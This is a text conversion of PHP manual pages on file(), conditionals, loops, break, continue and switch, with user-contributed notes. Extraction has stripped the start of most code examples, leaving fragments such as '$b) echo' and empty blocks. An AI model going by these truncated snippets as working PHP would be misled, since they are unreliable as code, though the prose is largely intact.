|stream_context_create|() - Creates a stream context
User Contributed Notes 31 notes
76 TrentTompkins at gmail dot com ¶8 years ago~
File put contents fails if you try to put a file in a directory that
doesn't exist. This creates the directory.
>
<
28 justin dot carlson at gmail dot com ¶5 years ago~
It should be obvious that this should only be used if you're making
one write, if you are writing multiple times to the same file you
should handle it yourself with fopen and fwrite, the fclose when you
are done writing.
Benchmark below:
file_put_contents() for 1,000,000 writes - average of 3 benchmarks:
real 0m3.932s
user 0m2.487s
sys 0m1.437s
fopen() fwrite() for 1,000,000 writes, fclose() - average of 3 benchmarks:
real 0m2.265s
user 0m1.819s
sys 0m0.445s
20 deqode at felosity dot nl ¶7 years ago~
Please note that when saving using an FTP host, an additional stream
context must be passed through telling PHP to overwrite the file.
>
array('overwrite' => true));
$stream = stream_context_create($options);
/* and finally, put the contents */
file_put_contents($hostname, $content, 0, $stream);
?>
<
7 aidan at php dot net ¶12 years ago~
This functionality is now implemented in the PEAR package PHP_Compat.
More information about using this function without upgrading your
version of PHP can be found on the below link:
http://pear.php.net/package/PHP_Compat
--------------------------------------------------------------------------------
*file*
+------+~
| file |~
+------+~
(PHP 4, PHP 5, PHP 7)
file — Reads entire file into an array
Description~
>
array file ( string $filename [, int $flags = 0 [, resource $context ]] )
<
Reads an entire file into an array.
Note:
You can use file_get_contents() to return the contents of a file as a
string.
Parameters~
filename
--------
Path to the file.
Tip
A URL can be used as a filename with this function if the fopen
wrappers have been enabled. See fopen() for more details on how to
specify the filename. See the Supported Protocols and Wrappers for
links to information about what abilities the various wrappers have,
notes on their usage, and information on any predefined variables they
may provide.
flags
-----
The optional parameter flags can be one, or more, of the following
constants:
FILE_USE_INCLUDE_PATH
Search for the file in the include_path.
FILE_IGNORE_NEW_LINES
Do not add newline at the end of each array element
FILE_SKIP_EMPTY_LINES
Skip empty lines
context
-------
A context resource created with the stream_context_create() function.
Note: Context support was added with PHP 5.0.0. For a description of
contexts, refer to Streams.
Return Values~
Returns the file in an array. Each element of the array corresponds to
a line in the file, with the newline still attached. Upon failure,
file() returns FALSE.
Note:
Each line in the resulting array will include the line ending, unless
FILE_IGNORE_NEW_LINES is used, so you still need to use rtrim() if you
do not want the line ending present.
Note: If PHP is not properly recognizing the line endings when reading
files either on or created by a Macintosh computer, enabling the
auto_detect_line_endings run-time configuration option may help
resolve the problem.
Errors/Exceptions~
Emits an E_WARNING level error if the file does not exist.
Changelog~
Version Description
4.3.0 file() became binary safe
Examples~
Example #1 file() example
>
$line) {
echo "Line #{$line_num} : " . htmlspecialchars($line) . " \n";
}
// Another example, let's get a web page into a string. See also file_get_contents().
$html = implode('', file('http://www.example.com/'));
// Using the optional flags parameter since PHP 5
$trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
?>
<
Notes~
Warning
When using SSL, Microsoft IIS will violate the protocol by closing the
connection without sending a close_notify indicator. PHP will report
this as "SSL: Fatal Protocol Error" when you reach the end of the
data. To work around this, the value of error_reporting should be
lowered to a level that does not include warnings. PHP can detect
buggy IIS server software when you open the stream using the https://
wrapper and will suppress the warning. When using fsockopen() to
create an ssl:// socket, the developer is responsible for detecting
and suppressing this warning.
See Also~
|readfile|() - Outputs a file
|fopen|() - Opens file or URL
|fsockopen|() - Open Internet or Unix domain socket connection
|popen|() - Opens process file pointer
|file_get_contents|() - Reads entire file into a string
|include| - include
|stream_context_create|() - Creates a stream context
User Contributed Notes 11 notes
29 bingo at dingo dot com ¶3 years ago~
To write all the lines of the file in other words to read the file
line by line you can write the code like this:
>
';
foreach($names as $name)
{
echo $name.' ';
}
?>
<
this example is so basic to understand how it's working. I hope it
will help many beginners.
Regards,
Bingo
18 d basin ¶7 years ago~
this may be obvious, but it took me a while to figure out what I was
doing wrong. So I wanted to share. I have a file on my "c:\" drive.
How do I file() it?
Don't forget the backslash is special and you have to "escape" the
backslash i.e. "\\":
>
<
hope this helps...
6 Martin K. ¶2 years ago~
If the file you are reading is in CSV format do not use file(), use
fgetcsv(). file() will split the file by each newline that it finds,
even newlines that appear within a field (i.e. within quotations).
10 twichi at web dot de ¶5 years ago~
read from CSV data (file) into an array with named keys
... with or without 1st row = header (keys)
(see 4th parameter of function call as true / false)
>
<
fuction call with 4 parameters:
(1) = the file with CSV data (url / string)
(2) = colum delimiter (e.g: ; or | or , ...)
(3) = values enclosed by (e.g: ' or " or ^ or ...)
(4) = with or without 1st row = head (true/false)
>
\r\n";
print_r($csvdata);
echo "\r\n";
// -----------------
?>
<
PS: also see: http://php.net/manual/de/function.fgetcsv.php to read
CSV data into an array ... and other file-handling methods
--------------------------------------------------------------------------------
*if*
+----+~
| if |~
+----+~
(PHP 4, PHP 5, PHP 7)
The if construct is one of the most important features of many
languages, PHP included. It allows for conditional execution of code
fragments. PHP features an if structure that is similar to that of C:
if (expr)
statement
As described in the section about expressions, expression is evaluated
to its Boolean value. If expression evaluates to TRUE, PHP will
execute statement, and if it evaluates to FALSE - it'll ignore it.
More information about what values evaluate to FALSE can be found in
the 'Converting to boolean' section.
The following example would display a is bigger than b if $a is bigger
than $b:
>
$b)
echo "a is bigger than b";
?>
<
Often you'd want to have more than one statement to be executed
conditionally. Of course, there's no need to wrap each statement with
an if clause. Instead, you can group several statements into a
statement group. For example, this code would display a is bigger than
b if $a is bigger than $b, and would then assign the value of $a into
$b:
>
$b) {
echo "a is bigger than b";
$b = $a;
}
?>
<
If statements can be nested infinitely within other if statements,
which provides you with complete flexibility for conditional execution
of the various parts of your program.
User Contributed Notes 15 notes
135 robk ¶3 years ago~
easy way to execute conditional html / javascript / css / other language code with php if else:
>
<
html code to run if condition is true
>
<
html code to run if condition is false
>
<
28 Christian L. ¶6 years ago~
An other way for controls is the ternary operator (see Comparison
Operators) that can be used as follows:
>
<
Parentheses can be left out in all examples above.
--------------------------------------------------------------------------------
*else*
+------+~
| else |~
+------+~
(PHP 4, PHP 5, PHP 7)
Often you'd want to execute a statement if a certain condition is met,
and a different statement if the condition is not met. This is what
else is for. else extends an if statement to execute a statement in
case the expression in the if statement evaluates to FALSE. For
example, the following code would display a is greater than b if $a is
greater than $b, and a is NOT greater than b otherwise:
>
$b) {
echo "a is greater than b";
} else {
echo "a is NOT greater than b";
}
?>
<
The else statement is only executed if the if expression evaluated to
FALSE, and if there were any elseif expressions - only if they
evaluated to FALSE as well (see elseif).
User Contributed Notes 7 notes
16 Caliban Darklock ¶12 years ago~
If you're coming from another language that does not have the "elseif"
construct (e.g. C++), it's important to recognise that "else if" is a
nested language construct and "elseif" is a linear language construct;
they may be compared in performance to a recursive loop as opposed to
an iterative loop.
>
<
This test should show that "elseif" executes in roughly two-thirds the
time of "else if". (Increasing $limit will also eventually cause a
parser stack overflow error, but the level where this happens is
ridiculous in real world terms. Nobody normally nests if() blocks to
more than a thousand levels unless they're trying to break things,
which is a whole different problem.)
There is still a need for "else if", as you may have additional code
to be executed unconditionally at some rung of the ladder; an "else
if" construction allows this unconditional code to be elegantly
inserted before or after the entire rest of the process. Consider the
following elseif() ladder:
>
<
To insert unconditional preprocessing code for $e onward, one need
only split the "elseif":
>
<
The alternative is to duplicate the unconditional code throughout the
construct.
--------------------------------------------------------------------------------
*elseif__else_if*
+----------------+~
| elseif/else if |~
+----------------+~
(PHP 4, PHP 5, PHP 7)
elseif, as its name suggests, is a combination of if and else. Like
else, it extends an if statement to execute a different statement in
case the original if expression evaluates to FALSE. However, unlike
else, it will execute that alternative expression only if the elseif
conditional expression evaluates to TRUE. For example, the following
code would display a is bigger than b, a equal to b or a is smaller
than b:
>
$b) {
echo "a is bigger than b";
} elseif ($a == $b) {
echo "a is equal to b";
} else {
echo "a is smaller than b";
}
?>
<
There may be several elseifs within the same if statement. The first
elseif expression (if any) that evaluates to TRUE would be executed.
In PHP, you can also write 'else if' (in two words) and the behavior
would be identical to the one of 'elseif' (in a single word). The
syntactic meaning is slightly different (if you're familiar with C,
this is the same behavior) but the bottom line is that both would
result in exactly the same behavior.
The elseif statement is only executed if the preceding if expression
and any preceding elseif expressions evaluated to FALSE, and the
current elseif expression evaluated to TRUE.
Note: Note that elseif and else if will only be considered exactly the
same when using curly brackets as in the above example. When using a
colon to define your if/elseif conditions, you must not separate else
if into two words, or PHP will fail with a parse error.
>
$b):
echo $a." is greater than ".$b;
else if ($a == $b): // Will not compile.
echo "The above line causes a parse error.";
endif;
/* Correct Method: */
if ($a > $b):
echo $a." is greater than ".$b;
elseif ($a == $b): // Note the combination of the words.
echo $a." equals ".$b;
else:
echo $a." is neither greater than or equal to ".$b;
endif;
?>
<
User Contributed Notes 5 notes
47 Vladimir Kornea ¶10 years ago~
The parser doesn't handle mixing alternative if syntaxes as reasonably
as possible.
The following is illegal (as it should be):
>
if($a):
echo $a;
else {
echo $c;
}
?>
<
This is also illegal (as it should be):
>
if($a) {
echo $a;
}
else:
echo $c;
endif;
?>
<
But since the two alternative if syntaxes are not interchangeable,
it's reasonable to expect that the parser wouldn't try matching else
statements using one style to if statement using the alternative
style. In other words, one would expect that this would work:
>
if($a):
echo $a;
if($b) {
echo $b;
}
else:
echo $c;
endif;
?>
<
Instead of concluding that the else statement was intended to match
the if($b) statement (and erroring out), the parser could match the
else statement to the if($a) statement, which shares its syntax.
While it's understandable that the PHP developers don't consider this
a bug, or don't consider it a bug worth their time, jsimlo was right
to point out that mixing alternative if syntaxes might lead to
unexpected results.
14 qualitycoder ¶2 years ago~
The reason 'else if' (with a space) works with traditional syntax and
not colon syntax is because of a technicality.
>
<
In this instance, the 'else if' is a shorthand/inline else statement
(no curly braces) with the if statement as a body. It is the same
things as:
>
<
If you were to write this with colon syntax, it would be:
>
<
--------------------------------------------------------------------------------
*Alternative_syntax_for_control_structures*
+-------------------------------------------+~
| Alternative syntax for control structures |~
+-------------------------------------------+~
(PHP 4, PHP 5, PHP 7)
PHP offers an alternative syntax for some of its control structures;
namely, if, while, for, foreach, and switch. In each case, the basic
form of the alternate syntax is to change the opening brace to a colon
(:) and the closing brace to endif;, endwhile;, endfor;, endforeach;,
or endswitch;, respectively.
>
<
A is equal to 5
>
<
In the above example, the HTML block "A is equal to 5" is nested
within an if statement written in the alternative syntax. The HTML
block would be displayed only if $a is equal to 5.
The alternative syntax applies to else and elseif as well. The
following is an if structure with elseif and else in the alternative
format:
>
<
Note:
Mixing syntaxes in the same control block is not supported.
Warning
Any output (including whitespace) between a switch statement and the
first case will result in a syntax error. For example, this is
invalid:
>
...
<
Whereas this is valid, as the trailing newline after the switch
statement is considered part of the closing ?> and hence nothing is
output between the switch and case:
>
...
<
See also while, for, and if for further examples.
User Contributed Notes 8 notes~
139 flyingmana ¶8 years ago~
It seems to me, that many people think that
>
<
A ist gleich 5
>
<
is only with alternate syntax possible, but
>
<
A ist gleich 5
>
<
is also possible.
alternate syntax makes the code only clearer and easyer to read
63 v14t at gmx dot com ¶3 years ago~
isset( $value ) AND print( $value );
the reason why it doesn't work with echo, it's because echo does not
return anything, while print _always_ returns 1, which is considered
true in the expression
86 temec987 at gmail dot com ¶5 years ago~
A simple alternative to an if statement, which is almost like a
ternary operator, is the use of AND. Consider the following:
>
';
// This is an alternative
isset( $value ) AND print( $value );
?>
<
This does not work with echo() for some reason. I find this extremely useful!
31 jeremia at gmx dot at ¶9 years ago~
If you wan't to use the alternative syntax for switch statements this
won't work:
Forum
Instead you have to workaround like this:
Forum
8 timeroot dot alex at gmail dot com ¶3 years ago~
The reason for the "workaround" jeremiah mentioned, in the case of the
switch statement, can be understood as follows; in any place where you
can have an echo statement (an if block, a switch's case, whatever),
that's where you can have the raw HTML. In PHP this basically gets
handled just like that -- like an echo statement.
In between a switch and a case, though, you can't echo anything. By
placing the switch and the case in two separate blocks of PHP, with a
raw HTML newline echo'ed in between them, PHP basically had to try to
find where that statement would be. And it can't be there, hence the
difficulty.
9 skippy at zuavra dot net ¶11 years ago~
If it needs saying, this alternative syntax is excellent for improving
legibility (for both PHP and HTML!) in situations where you have a mix
of them.
Interface templates are very often in need of this, especially since
the PHP code in them is usually written by one person (who is more of
a programmer) and the HTML gets modified by another person (who is
more of a web designer). Clear separation in such cases is extremely
useful.
See the default templates that come with WordPress 1.5+
(www.wordpress.org) for practical and smart examples of this
alternative syntax.
--------------------------------------------------------------------------------
*while*
+-------+~
| while |~
+-------+~
(PHP 4, PHP 5, PHP 7)
while loops are the simplest type of loop in PHP. They behave just
like their C counterparts. The basic form of a while statement is:
while (expr)
statement
The meaning of a while statement is simple. It tells PHP to execute
the nested statement(s) repeatedly, as long as the while expression
evaluates to TRUE. The value of the expression is checked each time at
the beginning of the loop, so even if this value changes during the
execution of the nested statement(s), execution will not stop until
the end of the iteration (each time PHP runs the statements in the
loop is one iteration). Sometimes, if the while expression evaluates
to FALSE from the very beginning, the nested statement(s) won't even
be run once.
Like with the if statement, you can group multiple statements within
the same while loop by surrounding a group of statements with curly
braces, or by using the alternate syntax:
while (expr):
statement
...
endwhile;
The following examples are identical, and both print the numbers 1
through 10:
>
<
--------------------------------------------------------------------------------
*do-while*
+----------+~
| do-while |~
+----------+~
(PHP 4, PHP 5, PHP 7)
do-while loops are very similar to while loops, except the truth
expression is checked at the end of each iteration instead of in the
beginning. The main difference from regular while loops is that the
first iteration of a do-while loop is guaranteed to run (the truth
expression is only checked at the end of the iteration), whereas it
may not necessarily run with a regular while loop (the truth
expression is checked at the beginning of each iteration, if it
evaluates to FALSE right from the beginning, the loop execution would
end immediately).
There is just one syntax for do-while loops:
>
0);
?>
<
The above loop would run one time exactly, since after the first
iteration, when truth expression is checked, it evaluates to FALSE ($i
is not bigger than 0) and the loop execution ends.
Advanced C users may be familiar with a different usage of the
do-while loop, to allow stopping execution in the middle of code
blocks, by encapsulating them with do-while (0), and using the break
statement. The following code fragment demonstrates this:
>
<
Don't worry if you don't understand this right away or at all. You can
code scripts and even powerful scripts without using this 'feature'.
Since PHP 5.3.0, it is possible to use goto operator instead of this
hack.
User Contributed Notes 6 notes~
19 Martin ¶2 years ago~
Do-while loops can also be used inside other loops, for example:
>
';
print_r($numbers);
echo '';
?>
<
13 jayreardon at gmail dot com ¶10 years ago~
There is one major difference you should be aware of when using the
do--while loop vs. using a simple while loop: And that is when the
check condition is made.
In a do--while loop, the test condition evaluation is at the end of
the loop. This means that the code inside of the loop will iterate
once through before the condition is ever evaluated. This is ideal
for tasks that need to execute once before a test is made to continue,
such as test that is dependant upon the results of the loop.
Conversely, a plain while loop evaluates the test condition at the
begining of the loop before any execution in the loop block is ever
made. If for some reason your test condition evaluates to false at the
very start of the loop, none of the code inside your loop will be
executed.
--------------------------------------------------------------------------------
*for*
+-----+~
| for |~
+-----+~
(PHP 4, PHP 5, PHP 7)
for loops are the most complex loops in PHP. They behave like their C
counterparts. The syntax of a for loop is:
for (expr1; expr2; expr3)
statement
The first expression (expr1) is evaluated (executed) once
unconditionally at the beginning of the loop.
In the beginning of each iteration, expr2 is evaluated. If it
evaluates to TRUE, the loop continues and the nested statement(s) are
executed. If it evaluates to FALSE, the execution of the loop ends.
At the end of each iteration, expr3 is evaluated (executed).
Each of the expressions can be empty or contain multiple expressions
separated by commas. In expr2, all expressions separated by a comma
are evaluated but the result is taken from the last part. expr2 being
empty means the loop should be run indefinitely (PHP implicitly
considers it as TRUE, like C). This may not be as useless as you might
think, since often you'd want to end the loop using a conditional
break statement instead of using the for truth expression.
Consider the following examples. All of them display the numbers 1 through 10:
>
10) {
break;
}
echo $i;
}
<
/* example 3 */
>
$i = 1;
for (; ; ) {
if ($i > 10) {
break;
}
echo $i;
$i++;
}
<
/* example 4 */
>
for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++);
?>
<
Of course, the first example appears to be the nicest one (or perhaps
the fourth), but you may find that being able to use empty expressions
in for loops comes in handy in many occasions.
PHP also supports the alternate "colon syntax" for for loops.
for (expr1; expr2; expr3):
statement
...
endfor;
It's a common thing to many users to iterate through arrays like in
the example below.
>
'Kalle', 'salt' => 856412),
array('name' => 'Pierre', 'salt' => 215863)
);
for($i = 0; $i < count($people); ++$i) {
$people[$i]['salt'] = mt_rand(000000, 999999);
}
?>
<
The above code can be slow, because the array size is fetched on every
iteration. Since the size never changes, the loop be easily optimized
by using an intermediate variable to store the size instead of
repeatedly calling count():
>
'Kalle', 'salt' => 856412),
array('name' => 'Pierre', 'salt' => 215863)
);
for($i = 0, $size = count($people); $i < $size; ++$i) {
$people[$i]['salt'] = mt_rand(000000, 999999);
}
?>
<
User Contributed Notes 16 notes
130 matthiaz ¶5 years ago~
Looping through letters is possible. I'm amazed at how few people know
that.
>
for($col = 'R'; $col != 'AD'; $col++) {
echo $col.' ';
}
<
returns: R S T U V W X Y Z AA AB AC
Take note that you can't use $col < 'AD'. It only works with !=
Very convenient when working with excel columns.
34 nzamani at cyberworldz dot de ¶15 years ago~
The point about the speed in loops is, that the middle and the last
expression are executed EVERY time it loops. So you should try to
take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:
>
<
Faster would be:
>
<
And here a little trick:
>
<
The $i gets changed after the copy for the function (post-increment).
12 Andrew ¶3 years ago~
You can use strtotime with for loops to loop through dates
>
";
}
?>
<
--------------------------------------------------------------------------------
*foreach*
+---------+~
| foreach |~
+---------+~
(PHP 4, PHP 5, PHP 7)
The foreach construct provides an easy way to iterate over arrays.
foreach works only on arrays and objects, and will issue an error when
you try to use it on a variable with a different data type or an
uninitialized variable. There are two syntaxes:
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement
The first form loops over the array given by array_expression. On each
iteration, the value of the current element is assigned to $value and
the internal array pointer is advanced by one (so on the next
iteration, you'll be looking at the next element).
The second form will additionally assign the current element's key to
the $key variable on each iteration.
It is possible to customize object iteration.
Note:
In PHP 5, when foreach first starts executing, the internal array
pointer is automatically reset to the first element of the array. This
means that you do not need to call reset() before a foreach loop.
As foreach relies on the internal array pointer in PHP 5, changing it
within the loop may lead to unexpected behavior.
In PHP 7, foreach does not use the internal array pointer.
In order to be able to directly modify array elements within the loop
precede $value with &. In that case the value will be assigned by
reference.
>
<
Reference of a $value and the last array element remain even after the
foreach loop. It is recommended to destroy it by unset(). Otherwise
you will experience the following behavior:
>
$value) {
// $arr[3] will be updated with each value from $arr...
echo "{$key} => {$value} ";
print_r($arr);
}
// ...until ultimately the second-to-last value is copied onto the last value
// output:
// 0 => 2 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 2 )
// 1 => 4 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 4 )
// 2 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
// 3 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
?>
<
Before PHP 5.5.0, referencing $value is only possible if the iterated
array can be referenced (i.e. if it is a variable). The following code
works only as of PHP 5.5.0:
>
<
Note:
foreach does not support the ability to suppress error messages using '@'.
You may have noticed that the following are functionally identical:
>
\n";
}
foreach ($arr as $value) {
echo "Value: $value \n";
}
?>
<
The following are also functionally identical:
>
\n";
}
foreach ($arr as $key => $value) {
echo "Key: $key; Value: $value \n";
}
?>
<
Some more examples to demonstrate usage:
>
$v.\n";
$i++;
}
/* foreach example 3: key and value */
$a = array(
"one" => 1,
"two" => 2,
"three" => 3,
"seventeen" => 17
);
foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}
/* foreach example 4: multi-dimensional arrays */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";
foreach ($a as $v1) {
foreach ($v1 as $v2) {
echo "$v2\n";
}
}
/* foreach example 5: dynamic arrays */
foreach (array(1, 2, 3, 4, 5) as $v) {
echo "$v\n";
}
?>
<
Unpacking nested arrays with list()~
(PHP 5 >= 5.5.0, PHP 7)
PHP 5.5 added the ability to iterate over an array of arrays and
unpack the nested array into loop variables by providing a list() as
the value.
For example:
>
<
The above example will output:
A: 1; B: 2
A: 3; B: 4
You can provide fewer elements in the list() than there are in the
nested array, in which case the leftover array values will be ignored:
>
<
The above example will output:
1
3
A notice will be generated if there aren't enough array elements to fill the list():
>
<
The above example will output:
Notice: Undefined offset: 2 in example.php on line 7
A: 1; B: 2; C:
Notice: Undefined offset: 2 in example.php on line 7
A: 3; B: 4; C:
Changelog
Version Description
7.0.0 foreach does not use the internal array pointer anymore.
5.5.0 Referencing of $value is supported for expressions. Formerly, only variables have been supported.
5.5.0 Unpacking nested arrays with list() is supported.
User Contributed Notes 23 notes
171 adam dot sindelar at gmail dot com ¶9 years ago~
You can also use the alternative syntax for the foreach cycle:
>
<
Just thought it worth mentioning.
9 John ¶2 months ago~
WARNING: Looping through "values by reference" for "extra performance"
is an old myth. It's actually WORSE!
>
<
Which do you think is faster?
Lots of people think the answer is two() because it uses "reference to
value, which it doesn't have to copy each value when it loops".
Well, that's totally wrong!
Here's what actually happens:
* one():
- This function takes an array as argument ($arr).
- The array function argument itself isn't passed by reference, so the
function knows it isn't allowed to modify the original at all.
- Then the foreach loop happens. The array itself wasn't passed by
reference to the function, so PHP knows that it isn't allowed to
modify the outside array, so it therefore makes a copy of the array's
internal iteration offset state (that's just a simple number which
says which item you are currently at during things like foreach()),
which costs almost no performance or memory at all since it's just a
small number.
- Next, it uses that copied iteration offset to loop through all
key/value pairs of the array (ie 0th key, 1st key, 2nd key, etc...).
And the value at the current offset (a PHP "zval") is assigned to a
variable called $val.
- Does $val make a COPY of the value? That's what MANY people think.
But the answer is NO. It DOESN'T. It re-uses the existing value in
memory. With zero performance cost. It's called "copy-on-write" and
means that PHP doesn't make any copies unless you try to MODIFY the
value.
- If you try to MODIFY $val, THEN it will allocate a NEW zval in
memory and store $val there instead (but it still won't modify the
original array, so you can rest assured).
Alright, so what's the second version doing? The beloved "iterate
values by reference"?
* two():
- This function takes an array as argument ($arr).
- The array function argument itself isn't passed by reference, so the
function knows it isn't allowed to modify the original at all.
- Then the foreach loop happens. The array itself wasn't passed by
reference to the function, so PHP knows that it isn't allowed to
modify the outside array.
- But it also sees that you want to look at all VALUES by reference
(&$val), so PHP says "Uh oh, this is dangerous. If we just give them
references to the original array's values, and they assign some new
value to their reference, they would destroy the original array which
they aren't allowed to touch!".
- So PHP makes a FULL COPY of the ENTIRE array and ALL VALUES before
it starts iterating. YIKES!
Therefore: STOP using the old, mythological "&$val" iteration method!
It's almost always BAD! With worse performance, and risks of bugs and
quirks as is demonstrated in the manual.
You can always manually write array assignments explicitly, without
references, like this:
>
$val) {
$a[$key] = $val * 10;
}
// $a is now [10, 20, 30]
?>
<
The main lesson is this: DON'T blindly iterate through values by
reference! Telling PHP that you want direct references will force PHP
to need to copy the WHOLE array to protect its original values! So
instead, just loop normally and trust the fact that PHP *is* actually
smart enough to never copy your original array's values! PHP uses
"copy-on-write", which means that attempting to assign something new
to $val is the ONLY thing that causes a copying, and only of that
SINGLE element! :-) But you never do that anyway, when iterating
without reference. If you ever want to modify something, you use the
"$a[$key] = 123;" method of updating the value.
Enjoy and good luck with your code! :-)
94 php at darkain dot com ¶4 years ago~
"Reference of a $value and the last array element remain even after
the foreach loop. It is recommended to destroy it by unset()."
I cannot stress this point of the documentation enough! Here is a
simple example of exactly why this must be done:
>
1, "b" => 2, "c" => 3);
$arr2 = array("x" => 4, "y" => 5, "z" => 6);
foreach ($arr1 as $key => &$val) {}
foreach ($arr2 as $key => $val) {}
var_dump($arr1);
var_dump($arr2);
?>
<
The output is:
array(3) { ["a"]=> int(1) ["b"]=> int(2) ["c"]=> &int(6) }
array(3) { ["x"]=> int(4) ["y"]=> int(5) ["z"]=> int(6) }
Notice how the last index in $arr1 is now the value from the last
index in $arr2!
--------------------------------------------------------------------------------
*break*
+-------+~
| break |~
+-------+~
(PHP 4, PHP 5, PHP 7)
break ends execution of the current for, foreach, while, do-while or switch structure.
break accepts an optional numeric argument which tells it how many
nested enclosing structures are to be broken out of. The default value
is 1, only the immediate enclosing structure is broken out of.
>
\n";
}
/* Using the optional argument. */
$i = 0;
while (++$i) {
switch ($i) {
case 5:
echo "At 5 \n";
break 1; /* Exit only the switch. */
case 10:
echo "At 10; quitting \n";
break 2; /* Exit the switch and the while. */
default:
break;
}
}
?>
<
Changelog for break
Version Description
5.4.0 break 0; is no longer valid. In previous versions it was interpreted the same as break 1;.
5.4.0 Removed the ability to pass in variables (e.g., $num = 2; break $num;) as the numerical argument.
User Contributed Notes 4 notes
110 steve at electricpocket dot com ¶4 years ago~
A break statement that is in the outer part of a program (e.g. not in
a control loop) will end the script. This caught me out when I
mistakenly had a break in an if statement
i.e.
>
<
will only show "hello"
13 traxer at gmx dot net ¶11 years ago~
vlad at vlad dot neosurge dot net wrote on 04-Jan-2003 04:21
> Just an insignificant side not: Like in C/C++, it's not
> necessary to break out of the default part of a switch
> statement in PHP.
It's not necessary to break out of any case of a switch statement in PHP, but if you want only one case to be executed, you have do break out of it (even out of the default case).
Consider this:
>
';
case 'Orange':
echo '$a is an orange';
}
?>
<
This prints (in PHP 5.0.4 on MS-Windows):
$a is not an orange
$a is an orange
Note that the PHP documentation does not state the default part must
be the last case statement.
--------------------------------------------------------------------------------
*continue*
+----------+~
| continue |~
+----------+~
(PHP 4, PHP 5, PHP 7)
continue is used within looping structures to skip the rest of the
current loop iteration and continue execution at the condition
evaluation and then the beginning of the next iteration.
Note: In PHP the switch statement is considered a looping structure
for the purposes of continue. continue behaves like break (when no
arguments are passed). If a switch is inside a loop, continue 2 will
continue with the next iteration of the outer loop.
continue accepts an optional numeric argument which tells it how many
levels of enclosing loops it should skip to the end of. The default
value is 1, thus skipping to the end of the current loop.
>
\n";
while (1) {
echo "Middle \n";
while (1) {
echo "Inner \n";
continue 3;
}
echo "This never gets output. \n";
}
echo "Neither does this. \n";
}
?>
<
Omitting the semicolon after continue can lead to confusion. Here's an
example of what you shouldn't do.
>
<
One can expect the result to be:
0
1
3
4
but, in PHP versions below 5.4.0, this script will output:
2
because the entire continue print "$i\n"; is evaluated as a single
expression, and so print is called only when $i == 2 is true. (The
return value of print is passed to continue as the numeric argument.)
Note:
As of PHP 5.4.0, the above example will raise an E_COMPILE_ERROR error.
Changelog for continue
Version Description
5.4.0 continue 0; is no longer valid. In previous versions it was
interpreted the same as continue 1;.
5.4.0 Removed the ability to pass in variables (e.g., $num = 2;
continue $num;) as the numerical argument.
User Contributed Notes 17 notes
70 jaimthorn at yahoo dot com ¶7 years ago~
The remark "in PHP the switch statement is considered a looping
structure for the purposes of continue" near the top of this page
threw me off, so I experimented a little using the following code to
figure out what the exact semantics of continue inside a switch is:
>
';
}
?>
<
For XXXX I filled in
- continue 1
- continue 2
- break 1
- break 2
and observed the different results. This made me come up with the
following one-liner that describes the difference between break and
continue:
continue resumes execution just before the closing curly bracket ( }
), and break resumes execution just after the closing curly bracket.
Corollary: since a switch is not (really) a looping structure,
resuming execution just before a switch's closing curly bracket has
the same effect as using a break statement. In the case of (for,
while, do-while) loops, resuming execution just prior their closing
curly brackets means that a new iteration is started --which is of
course very unlike the behavior of a break statement.
In the one-liner above I ignored the existence of parameters to
break/continue, but the one-liner is also valid when parameters are
supplied.
17 Nikolay Ermolenko ¶8 years ago~
Using continue and break:
>
';
}
/*
first
third
*/
$stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth');
foreach($stack2 AS $k=>$v){
if($v == 'second')continue;
if($k == 'three')continue;
if($v == 'fifth')break;
echo $k.' ::: '.$v.' ';
}
/*
one ::: first
four ::: fourth
*/
?>
<
10 greg AT laundrymat.tv ¶12 years ago~
You using continue in a file included in a loop will produce an error.
For example:
>
//page1.php
for($x=0;$x<10;$x++)
{
include('page2.php');
}
//page2.php
if($x==5)
continue;
else
print $x;
<
it should print
"012346789" no five, but it produces an error:
Cannot break/continue 1 level in etc.
13 rjsteinert.com ¶6 years ago~
The most basic example that print "13", skipping over 2.
>
<
--------------------------------------------------------------------------------
*switch*
+--------+~
| switch |~
+--------+~
(PHP 4, PHP 5, PHP 7)
The switch statement is similar to a series of IF statements on the
same expression. In many occasions, you may want to compare the same
variable (or expression) with many different values, and execute a
different piece of code depending on which value it equals to. This is
exactly what the switch statement is for.
Note: Note that unlike some other languages, the continue statement
applies to switch and acts similar to break. If you have a switch
inside a loop and wish to continue to the next iteration of the outer
loop, use continue 2.
Note:
Note that switch/case does loose comparison.
Changelog
Version Description
7.0.0 Multiple default cases will raise a E_COMPILE_ERROR error.
The following two examples are two different ways to write the same
thing, one using a series of if and elseif statements, and the other
using the switch statement:
Example #1 switch structure
>
<
Example #2 switch structure allows usage of strings
>
<
It is important to understand how the switch statement is executed in
order to avoid mistakes. The switch statement executes line by line
(actually, statement by statement). In the beginning, no code is
executed. Only when a case statement is found whose expression
evaluates to a value that matches the value of the switch expression
does PHP begin to execute the statements. PHP continues to execute the
statements until the end of the switch block, or the first time it
sees a break statement. If you don't write a break statement at the
end of a case's statement list, PHP will go on executing the
statements of the following case. For example:
>
<
Here, if $i is equal to 0, PHP would execute all of the echo
statements! If $i is equal to 1, PHP would execute the last two echo
statements. You would get the expected behavior ('i equals 2' would be
displayed) only if $i is equal to 2. Thus, it is important not to
forget break statements (even though you may want to avoid supplying
them on purpose under certain circumstances).
In a switch statement, the condition is evaluated only once and the
result is compared to each case statement. In an elseif statement, the
condition is evaluated again. If your condition is more complicated
than a simple compare and/or is in a tight loop, a switch may be
faster.
The statement list for a case can also be empty, which simply passes control into the statement list for the next case.
>
<
A special case is the default case. This case matches anything that wasn't matched by the other cases. For example:
>
<
The alternative syntax for control structures is supported with
switches. For more information, see Alternative syntax for control
structures.
>
<
It's possible to use a semicolon instead of a colon after a case like:
>
<
User Contributed Notes 52 notes
139 MaxTheDragon at home dot nl ¶4 years ago~
This is listed in the documentation above, but it's a bit tucked away
